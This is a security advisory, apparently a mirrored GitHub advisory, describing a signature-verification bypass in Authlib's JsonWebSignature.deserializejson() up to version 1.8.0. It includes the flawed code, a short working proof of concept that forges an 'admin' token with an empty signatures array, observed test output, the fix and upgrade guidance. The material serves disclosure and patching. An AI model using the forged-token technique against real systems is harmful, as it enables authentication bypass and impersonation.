GHSA-6v38-4h7w-rj9h: Critical severity pip/authlib vulnerability

Published Oct 27, 2026
·
Updated

Authlib (prior to 1.9.0) contains a signature verification bypass vulnerability. The JsonWebSignature.deserializejson() method accepts a JSON Serialization JWS object and returns the payload as successfully verified without checking for a signature and without requiring a cryptographic key.

Root cause

authlib/jose/rfc7515/jws.py, read on the installed 1.8.0 artifact:

python isvalid = True # set before anything is checked for headerobj in obj["signatures"]: # empty array means the body never runs jwsheader, valid = self.validatejsonjws(...) if not valid: isvalid = False ... if isvalid: return rv # returns the payload as verified

isvalid is initialised to True and only ever set to False from inside the loop. A JWS JSON Serialization object whose signatures array is empty iterates zero times, so the flag survives and the payload is returned as successfully verified. No key is consulted, because no signature is examined.

Reproduction

python import base64 from authlib.jose import JsonWebSignature

def b64(b): return base64.urlsafeb64encode(b).rstrip(b"=").decode()

jws = JsonWebSignature() payload = b'{"sub":"attacker","role":"admin"}' forged = {"payload": b64(payload), "signatures": []}

print(jws.deserializejson(forged, key=None))

Observed on authlib 1.8.0, Python 3.14, clean virtualenv:

[A] ATTACK general JSON, signatures:[] , key=None ACCEPTED -> {'header': [], 'payload': b'{"sub":"attacker","role":"admin"}'} [B] ATTACK general JSON, signatures:[] , key=<real key> ACCEPTED -> {'header': [], 'payload': b'{"sub":"attacker","role":"admin"}'} [C] CONTROL+ genuine general JSON with 2 signatures, right key ACCEPTED (expected) payload= b'{"sub":"attacker","role":"admin"}' [D] CONTROL- same object, first signature corrupted rejected (expected): BadSignatureError badsignature: [E] CONTROL- signatures array removed entirely (not empty, absent) rejected: DecodeError Missing "protected" value:

[C] proves the verifier works normally on a genuine object, so a deployment looks healthy. [D] proves tampering is caught. [E] proves this is specifically the empty-array case and not a general missing-member bug. [A] and [B] are the bypass, and [B] shows that holding the correct key does not save a caller: the empty array is accepted either way.

For comparison, joserfc 1.7.5, the library this module's deprecation warning points users to, rejects the identical object with BadSignatureError. The correct behaviour already exists in your newer library.

Impact

Any relying party that calls JsonWebSignature.deserializejson() on input it did not produce will accept an attacker-authored payload as signed. Where that payload carries identity or authorisation claims, this is a complete authentication bypass by an unauthenticated remote caller with no key material.

What would fix it

In deserializejson, reject an empty signatures array before the loop, or initialise the flag from the signature count, for example isvalid = len(obj["signatures"]) > 0. Pull request #938 proposes the same thing.

Affected Software

1 affected componentFixes available
pip/authlib<=1.8.0
1.9.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/authlib to a version that resolves this vulnerability.

    Fixed in 1.9.0
  2. Upgrade

    Upgrade Authlib to a version that resolves this vulnerability.

    Fixed in 1.9.0

Event History

Oct 27, 2026
Advisory Published
via GitHub·02:50 PM
Data Sourced
via GitHub·02:50 PM
DescriptionSeverityWeaknessAffected Software

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203